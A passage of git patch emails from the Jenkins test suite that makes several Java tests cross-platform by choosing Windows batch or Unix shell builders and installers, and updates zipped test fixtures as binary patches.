throws Exception { FreeStyleProject project = j.createFreeStyleProject("aProject"); - project.getBuildersList().add(new Shell("echo 1")); + project.getBuildersList().add(createScriptBuilder("echo 1")); assertThat(project.scheduleBuild2(0).get().getLog(), containsString("echo 1")); final CLICommandInvoker.Result result = command @@ -145,4 +148,14 @@ public class SetBuildDescriptionCommandTest { assertThat(result.stderr(), containsString("ERROR: No such build #2")); } + //TODO: determine if this should be pulled out into JenkinsRule or something + /** + * Create a script based builder (either Shell or BatchFile) depending on platform + * @param script the contents of the script to run + * @return A Builder instance of either Shell or BatchFile + */ + private Builder createScriptBuilder(String script) { + return Functions.isWindows() ? new BatchFile(script) : new Shell(script); + } + } diff --git a/test/src/test/java/hudson/model/ParametersAction2Test.java b/test/src/test/java/hudson/model/ParametersAction2Test.java index 32a9d59b8f..0eb8c13995 100644 --- a/test/src/test/java/hudson/model/ParametersAction2Test.java +++ b/test/src/test/java/hudson/model/ParametersAction2Test.java @@ -1,6 +1,8 @@ package hudson.model; +import hudson.Functions; import hudson.Launcher; +import hudson.tasks.BatchFile; import hudson.tasks.Builder; import org.junit.Rule; import org.junit.Test; @@ -67,7 +69,8 @@ public class ParametersAction2Test { public void backwardCompatibility() throws Exception { // Local data contains a parameterized job with two parameters (FOO and BAR) and one build // with pre-fix format (generated with 1.609.3) with FOO, BAR and UNDEF. - FreeStyleProject p = j.jenkins.getItemByFullName("parameterized", FreeStyleProject.class); + FreeStyleProject p = j.jenkins.getItemByFullName(Functions.isWindows() ? "parameterized-windows" : "parameterized", FreeStyleProject.class); + FreeStyleBuild b1 = p.getBuildByNumber(1); ParametersAction pa = b1.getAction(ParametersAction.class); hasParameterWithName(pa, "FOO"); diff --git a/test/src/test/resources/hudson/model/ParametersAction2Test/backwardCompatibility.zip b/test/src/test/resources/hudson/model/ParametersAction2Test/backwardCompatibility.zip index 4148761cddb861e646686ba732fdf8918c7b494b..0fe0cea6ff3243f99dc037c5c58b1e766304ba32 100644 GIT binary patch literal 12505 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

                                                  #qt=lKm$*zQGa~k`z}g%85&;tlr0eaFi%0}eVrsFzr{};z mdcQFesyW1m81HNufzT0@2D&7OA6^4{^FXcxD)4b2KK&0~u`37w literal 6559 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 EH{ba8-~a#s -- GitLab From 39a353d36810bedf7edba7126d5466bbdf44d6c7 Mon Sep 17 00:00:00 2001 From: Alex Earl Date: Sat, 11 Feb 2017 12:23:51 -0700 Subject: [PATCH 623/712] More fixes --- .../test/java/hudson/model/ProjectTest.java | 28 +++++++++---------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/test/src/test/java/hudson/model/ProjectTest.java b/test/src/test/java/hudson/model/ProjectTest.java index 86cfe2435f..f1395bf2f6 100644 --- a/test/src/test/java/hudson/model/ProjectTest.java +++ b/test/src/test/java/hudson/model/ProjectTest.java @@ -25,8 +25,10 @@ package hudson.model; import com.gargoylesoftware.htmlunit.HttpMethod; import com.gargoylesoftware.htmlunit.WebRequest; +import hudson.*; import hudson.model.queue.QueueTaskFuture; import hudson.security.AccessDeniedException2; +import hudson.tasks.*; import org.acegisecurity.context.SecurityContextHolder; import hudson.security.HudsonPrivateSecurityRealm; import hudson.security.GlobalMatrixAuthorizationStrategy; @@ -38,9 +40,7 @@ import org.jvnet.hudson.reactor.ReactorException; import org.jvnet.hudson.test.FakeChangeLogSCM; import hudson.scm.SCMRevisionState; import hudson.scm.PollingResult; -import hudson.Launcher; import hudson.Launcher.RemoteLauncher; -import hudson.Util; import hudson.scm.NullSCM; import hudson.scm.SCM; import hudson.model.queue.SubTaskContributor; @@ -62,15 +62,13 @@ import java.io.Serializable; import jenkins.scm.DefaultSCMCheckoutStrategyImpl; import jenkins.scm.SCMCheckoutStrategy; import java.io.File; -import hudson.FilePath; + import hudson.slaves.EnvironmentVariablesNodeProperty; -import hudson.EnvVars; import hudson.model.labels.LabelAtom; import hudson.scm.SCMDescriptor; import hudson.slaves.Cloud; import hudson.slaves.DumbSlave; import hudson.slaves.NodeProvisioner; -import hudson.tasks.Shell; import org.jvnet.hudson.test.TestExtension; import java.util.List; import java.util.ArrayList; @@ -81,9 +79,7 @@ import org.junit.Rule; import org.junit.Test; import org.jvnet.hudson.test.JenkinsRule; import static org.junit.Assert.*; -import hudson.tasks.Fingerprinter; -import hudson.tasks.ArtifactArchiver; -import hudson.tasks.BuildTrigger; + import java.util.Map; import java.util.concurrent.Callable; import java.util.concurrent.ExecutionException; @@ -194,7 +190,8 @@ public class ProjectTest { getFilePath = true; assertNotNull("Project should have any workspace because WorkspaceBrowser find some.", p.getSomeWorkspace()); getFilePath = false; - p.getBuildersList().add(new Shell("echo ahoj > some.log")); + String cmd = "echo ahoj > some.log"; + p.getBuildersList().add(Functions.isWindows() ? new BatchFile(cmd) : new Shell(cmd)); j.buildAndAssertSuccess(p); assertNotNull("Project should has any workspace.", p.getSomeWorkspace()); } @@ -202,7 +199,8 @@ public class ProjectTest { @Test public void testGetSomeBuildWithWorkspace() throws Exception{ FreeStyleProject p = j.createFreeStyleProject("project"); - p.getBuildersList().add(new Shell("echo ahoj > some.log")); + String cmd = "echo ahoj > some.log"; + p.getBuildersList().add(Functions.isWindows() ? new BatchFile(cmd) : new Shell(cmd)); assertNull("Project which has never run should not have any build with workspace.", p.getSomeBuildWithWorkspace()); j.buildAndAssertSuccess(p); assertEquals("Last build should have workspace.", p.getLastBuild(), p.getSomeBuildWithWorkspace()); @@ -213,7 +211,8 @@ public class ProjectTest { @Issue("JENKINS-10450") @Test public void workspaceBrowsing() throws Exception { FreeStyleProject p = j.createFreeStyleProject("project"); - p.getBuildersList().add(new Shell("echo ahoj > some.log")); + String cmd = "echo ahoj > some.log"; + p.getBuildersList().add(Functions.isWindows() ? new BatchFile(cmd) : new Shell(cmd)); j.buildAndAssertSuccess(p); JenkinsRule.WebClient wc = j.createWebClient(); wc.goTo("job/project/ws/some.log", "text/plain"); @@ -360,14 +359,14 @@ public class ProjectTest { @Test public void testGetCauseOfBlockage() throws Exception { FreeStyleProject p = j.createFreeStyleProject("project"); - p.getBuildersList().add(new Shell("sleep 10")); + p.getBuildersList().add(Functions.isWindows() ? new BatchFile("timeout /t 10") : new Shell("sleep 10")); QueueTaskFuture b1 = waitForStart(p); assertInstanceOf("Build can not start because previous build has not finished: " + p.getCauseOfBlockage(), p.getCauseOfBlockage(), BlockedBecauseOfBuildInProgress.class); p.getLastBuild().getExecutor().interrupt(); b1.get(); // wait for it to finish FreeStyleProject downstream = j.createFreeStyleProject("project-downstream"); - downstream.getBuildersList().add(new Shell("sleep 10")); + downstream.getBuildersList().add(Functions.isWindows() ? new BatchFile("timeout /t 10") : new Shell("sleep 10")); p.getPublishersList().add(new BuildTrigger(Collections.singleton(downstream), Result.SUCCESS)); Jenkins.getInstance().rebuildDependencyGraph(); p.setBlockBuildWhenDownstreamBuilding(true); @@ -606,7 +605,8 @@ public class ProjectTest { auth.add(Jenkins.READ, user.getId()); Slave slave = j.createOnlineSlave(); project.setAssignedLabel(slave.getSelfLabel()); - project.getBuildersList().add(new Shell("echo hello > change.log")); + String cmd = "echo hello > change.log"; + project.getBuildersList().add(Functions.isWindows()? new BatchFile(cmd) : new Shell(cmd)); j.buildAndAssertSuccess(project); JenkinsRule.WebClient wc = j.createWebClient().login(user.getId(), "password"); WebRequest request = new WebRequest(new URL(wc.getContextPath() + project.getUrl() + "doWipeOutWorkspace"), HttpMethod.POST); -- GitLab From 757997fcbfd234291451a49cadecf87b2a9f3d97 Mon Sep 17 00:00:00 2001 From: Alex Earl Date: Sat, 11 Feb 2017 21:08:17 -0700 Subject: [PATCH 624/712] More test fixes --- .../hudson/tasks/ArtifactArchiverTest.java | 3 +- .../hudson/tools/InstallerTranslatorTest.java | 34 +++++++++++------- .../fingerprintMigration.zip | Bin 1193 -> 1606 bytes 3 files changed, 23 insertions(+), 14 deletions(-) diff --git a/test/src/test/java/hudson/tasks/ArtifactArchiverTest.java b/test/src/test/java/hudson/tasks/ArtifactArchiverTest.java index 9ce04280ae..bd24bd1b26 100644 --- a/test/src/test/java/hudson/tasks/ArtifactArchiverTest.java +++ b/test/src/test/java/hudson/tasks/ArtifactArchiverTest.java @@ -26,6 +26,7 @@ package hudson.tasks; import hudson.AbortException; import hudson.FilePath; +import hudson.Functions; import hudson.Launcher; import hudson.Util; import hudson.model.AbstractBuild; @@ -266,7 +267,7 @@ public class ArtifactArchiverTest { @LocalData @Test public void fingerprintMigration() throws Exception { - FreeStyleProject p = j.jenkins.getItemByFullName("sample", FreeStyleProject.class); + FreeStyleProject p = j.jenkins.getItemByFullName(Functions.isWindows() ? "sample-windows" : "sample", FreeStyleProject.class); assertNotNull(p); String xml = p.getConfigFile().asString(); assertFalse(xml, xml.contains("")); diff --git a/test/src/test/java/hudson/tools/InstallerTranslatorTest.java b/test/src/test/java/hudson/tools/InstallerTranslatorTest.java index d38f780972..5319d4e406 100644 --- a/test/src/test/java/hudson/tools/InstallerTranslatorTest.java +++ b/test/src/test/java/hudson/tools/InstallerTranslatorTest.java @@ -24,6 +24,7 @@ package hudson.tools; +import hudson.Functions; import hudson.model.FreeStyleBuild; import hudson.model.FreeStyleProject; import hudson.model.JDK; @@ -32,6 +33,7 @@ import hudson.slaves.DumbSlave; import hudson.slaves.JNLPLauncher; import hudson.slaves.NodeProperty; import hudson.slaves.RetentionStrategy; +import hudson.tasks.BatchFile; import hudson.tasks.Shell; import hudson.util.StreamTaskListener; import java.nio.charset.Charset; @@ -66,38 +68,40 @@ public class InstallerTranslatorTest { @Issue("JENKINS-17667") @Test public void multipleSlavesAndTools() throws Exception { + String jdk1Path = Functions.isWindows() ? "C:\\jdk1" : "/opt/jdk1"; + String jdk2Path = Functions.isWindows() ? "C:\\jdk2" : "/opt/jdk2"; Node slave1 = r.createSlave(); Node slave2 = r.createSlave(); - JDK jdk1 = new JDK("jdk1", null, Collections.singletonList(new InstallSourceProperty(Collections.singletonList(new CommandInstaller(null, "echo installed jdk1", "/opt/jdk1"))))); - JDK jdk2 = new JDK("jdk2", null, Collections.singletonList(new InstallSourceProperty(Collections.singletonList(new CommandInstaller(null, "echo installed jdk2", "/opt/jdk2"))))); + JDK jdk1 = new JDK("jdk1", null, Collections.singletonList(new InstallSourceProperty(Collections.singletonList(Functions.isWindows() ? new BatchCommandInstaller(null, "echo installed jdk1", jdk1Path) : new CommandInstaller(null, "echo installed jdk1", jdk1Path))))); + JDK jdk2 = new JDK("jdk2", null, Collections.singletonList(new InstallSourceProperty(Collections.singletonList(Functions.isWindows() ? new BatchCommandInstaller(null, "echo installed jdk2", jdk2Path) : new CommandInstaller(null, "echo installed jdk2", jdk2Path))))); r.jenkins.getJDKs().add(jdk1); r.jenkins.getJDKs().add(jdk2); FreeStyleProject p = r.createFreeStyleProject(); p.setJDK(jdk1); - p.getBuildersList().add(new Shell("echo $JAVA_HOME")); + p.getBuildersList().add(Functions.isWindows() ? new BatchFile("echo %JAVA_HOME%") : new Shell("echo $JAVA_HOME")); p.setAssignedNode(slave1); FreeStyleBuild b1 = r.buildAndAssertSuccess(p); r.assertLogContains("installed jdk1", b1); - r.assertLogContains("/opt/jdk1", b1); + r.assertLogContains(jdk1Path, b1); p.setJDK(jdk2); FreeStyleBuild b2 = r.buildAndAssertSuccess(p); r.assertLogContains("installed jdk2", b2); - r.assertLogContains("/opt/jdk2", b2); + r.assertLogContains(jdk2Path, b2); FreeStyleBuild b3 = r.buildAndAssertSuccess(p); // An installer is run for every build, and it is up to a CommandInstaller configuration to do any up-to-date check. r.assertLogContains("installed jdk2", b3); - r.assertLogContains("/opt/jdk2", b3); + r.assertLogContains(jdk2Path, b3); p.setAssignedNode(slave2); FreeStyleBuild b4 = r.buildAndAssertSuccess(p); r.assertLogContains("installed jdk2", b4); - r.assertLogContains("/opt/jdk2", b4); + r.assertLogContains(jdk2Path, b4); p.setJDK(jdk1); FreeStyleBuild b5 = r.buildAndAssertSuccess(p); r.assertLogContains("installed jdk1", b5); - r.assertLogContains("/opt/jdk1", b5); + r.assertLogContains(jdk1Path, b5); FreeStyleBuild b6 = r.buildAndAssertSuccess(p); r.assertLogContains("installed jdk1", b6); - r.assertLogContains("/opt/jdk1", b6); + r.assertLogContains(jdk1Path, b6); } @Issue("JENKINS-26940") @@ -113,7 +117,7 @@ public class InstallerTranslatorTest { FreeStyleProject p = r.createFreeStyleProject(); p.setJDK(jdk); - p.getBuildersList().add(new Shell("echo $JAVA_HOME")); + p.getBuildersList().add(Functions.isWindows() ? new BatchFile("echo %JAVA_HOME%") : new Shell("echo $JAVA_HOME")); FreeStyleBuild b1 = r.buildAndAssertSuccess(p); r.assertLogContains(hudson.tools.Messages.CannotBeInstalled(ci.getDescriptor().getDisplayName(), jdk.getName(), r.jenkins.getDisplayName()), b1); r.assertLogContains(hudson.tools.Messages.CannotBeInstalled(bci.getDescriptor().getDisplayName(), jdk.getName(), r.jenkins.getDisplayName()), b1); @@ -122,8 +126,12 @@ public class InstallerTranslatorTest { @Issue("JENKINS-26940") @Test public void testNoMessageLoggedWhenAnyInstallerFound() throws Exception { - final CommandInstaller ci = new CommandInstaller("wrong1", "echo hello", "/opt/jdk"); - final CommandInstaller ci2 = new CommandInstaller("master", "echo hello", "/opt/jdk2"); + final AbstractCommandInstaller ci = Functions.isWindows() + ? new BatchCommandInstaller("wrong1", "echo hello", "C:\\jdk") + : new CommandInstaller("wrong1", "echo hello", "/opt/jdk"); + final AbstractCommandInstaller ci2 = Functions.isWindows() + ? new BatchCommandInstaller("master", "echo hello", "C:\\jdk2") + : new CommandInstaller("master", "echo hello", "/opt/jdk2"); InstallSourceProperty isp = new InstallSourceProperty(Arrays.asList(ci, ci2)); JDK jdk = new JDK("jdk", null, Collections.singletonList(isp)); @@ -132,7 +140,7 @@ public class InstallerTranslatorTest { FreeStyleProject p = r.createFreeStyleProject(); p.setJDK(jdk); - p.getBuildersList().add(new Shell("echo $JAVA_HOME")); + p.getBuildersList().add(Functions.isWindows() ? new BatchFile("echo %JAVA_HOME%") : new Shell("echo $JAVA_HOME")); FreeStyleBuild b1 = r.buildAndAssertSuccess(p); r.assertLogNotContains(ci.getDescriptor().getDisplayName(), b1); } diff --git a/test/src/test/resources/hudson/tasks/ArtifactArchiverTest/fingerprintMigration.zip b/test/src/test/resources/hudson/tasks/ArtifactArchiverTest/fingerprintMigration.zip index 206560069bec5520c64997a5d89bc81384df5dab..b342cc4f471ec6d502bccd2a25c26781403b46a0 100644 GIT binary patch literal 1606 zcmWIWW@Zs#0D<+X-dBmp*&GaqfjVYvR8?Nd$iN`O!oVPhLq~FcURq|lUPW$BZ?JFvZ3CXY-@_$X zcg+#Y-_BSZV*+&Rjj{;wFBTd?x!Ds{9j9FTcE5j<>T=&-rN;NGYgAl!?b`D`^drBF z*JAO_=Rf;zW->8%dR1n4`(IrBAEVuC&TG9s6aQeJopx7Op?{K2y8}a!dalc>RW%~K zZ{!ZFJJ2MSqQ&^SO|xZ{&9TK6*ET$`XOapmlM`*ZHR z>A$8Y*1nBZxGmD#>zQKBsx%H1zvEM{l=k#_6^W!vUXy0Q1dY0=#63qS8H z+B3PNB-mR=Fk<;H;erVosqfZRzm^XwtD7L4*kWGCCst7Mg@8XNL#kv>fgwEWjc8t;7k0<)vx1CGVSFBur zJOxD*)4!oWxtLycs8tdV*IUxo0Bf9{oOV5y{+9OrP#T5zpvWC+J5Q9(KomMyk5g_ws*p= z*fVDT*X^sBKliHo)Y4~cJJ$PmElRpGS>m*!K*JqR>503v=DRTOX5QevVFBw*uLHXh zxfW{if7IwR)v@q@n9;jOe@9YB_hmf}lPbRxfBXZo{(k=ca>YZR|E6o!@8wRJy=bFh zXU=MeCzCAYPOLSmDHmKKbY1qv(w&!I$ZoK6D*Q6%%er?ra+2+nTvsJ4zfZY+N$XOE z+vf)|8TK8U&KFzs3h&o2WD{9-{S!~QMSS^!D;_+{pfUTSWMkytsDJUg-RIZ-4_v_S z>&)ur`AI9@sJmj-%rNn7UP<4*xSwyi(zfo|osWK(*81Mv;F2&m%l|;!qA5Ffzgb)F zar38aUx((=jISHAt~C}r`KhCaJZTENTl`SE! zmwfYg`+jDtLvdK@uUQi8cPtEb%x^!R7Pny8zI&@AfBxMlJ{lKqyH5=VDL*a~T;V7(Qf$r_FD<#0aBfrDjHe_{hd$7CFeqDg(_z zDpvH7O&6|#mr literal 1193 zcma)6O^?$s5cNVqs8=M;QHAJ<1`vmpNVD3dyP_(fic;+nxy~f<*0C*ru)9Zo8dv@g zSHvWZmzK1GR8ixZH*el}#-7ja_xgl9BIMP#pOeAy>+g?ygw*d7(j!-DWn)V#Eg)t} z=DZl)RN~hULXs2wh`xfcT*>k9<>qMl%%%M(N+@#( zwsEt_z%s*iZAp`OdsRc%0D1x%WQL?1Y?@PHA&EQo8jLwK7>BS8wPjVr1hsZND1By? z9HC|O(F?J7`(d!bFe*POTBXi-qz$W@E#sE11Y{xQ-MV(JgktM6&qa1wf}E&pX`KOD zH6|=Q1pO1&C0pwMq3WP&B4>C}U@O|vlw{r*kgib`Bw_z{%#DJ&5)7<6f;{bRIcnE- zv?xJ{jRRdwRTY(43anJo)3fFD{p8DZ5%nlf#z@*?A6ME%Vufhc)yFfA8>r JhL;f`zX5o?gWv!F -- GitLab From 3d778c15415ab80e15827c93ef99d2147c86529b Mon Sep 17 00:00:00 2001 From: Alex Earl Date: Sat, 11 Feb 2017 22:10:33 -0700 Subject: [PATCH 625/712] Fingerprint tests passing --- .../java/hudson/tasks/FingerprinterTest.java | 28 ++++++++++++++---- .../FingerprinterTest/actionSerialization.zip | Bin 2904 -> 6350 bytes 2 files changed, 22 insertions(+), 6 deletions(-) diff --git a/test/src/test/java/hudson/tasks/FingerprinterTest.java b/test/src/test/java/hudson/tasks/FingerprinterTest.java index 4e2de32a92..d26ce52d1e 100644 --- a/test/src/test/java/hudson/tasks/FingerprinterTest.java +++ b/test/src/test/java/hudson/tasks/FingerprinterTest.java @@ -26,6 +26,7 @@ package hudson.tasks; import com.google.common.collect.ImmutableMap; import com.google.common.collect.ImmutableSet; +import hudson.Functions; import hudson.Launcher; import hudson.Util; import hudson.XmlFile; @@ -293,14 +294,18 @@ public class FingerprinterTest { @Issue("JENKINS-17125") @LocalData @Test public void actionSerialization() throws Exception { - FreeStyleProject job = j.jenkins.getItemByFullName("j", FreeStyleProject.class); + FreeStyleProject job = j.jenkins.getItemByFullName(Functions.isWindows() ? "j-windows" : "j", FreeStyleProject.class); assertNotNull(job); FreeStyleBuild build = job.getBuildByNumber(2); assertNotNull(build); Fingerprinter.FingerprintAction action = build.getAction(Fingerprinter.FingerprintAction.class); assertNotNull(action); assertEquals(build, action.getBuild()); - assertEquals("{a=2d5fac981a2e865baf0e15db655c7d63}", action.getRecords().toString()); + if (Functions.isWindows()) { + assertEquals("{a=603bc9e16cc05bdbc5e595969f42e3b8}", action.getRecords().toString()); + } else { + assertEquals("{a=2d5fac981a2e865baf0e15db655c7d63}", action.getRecords().toString()); + } j.assertBuildStatusSuccess(job.scheduleBuild2(0)); job._getRuns().purgeCache(); // force build records to be reloaded build = job.getBuildByNumber(3); @@ -309,7 +314,11 @@ public class FingerprinterTest { action = build.getAction(Fingerprinter.FingerprintAction.class); assertNotNull(action); assertEquals(build, action.getBuild()); - 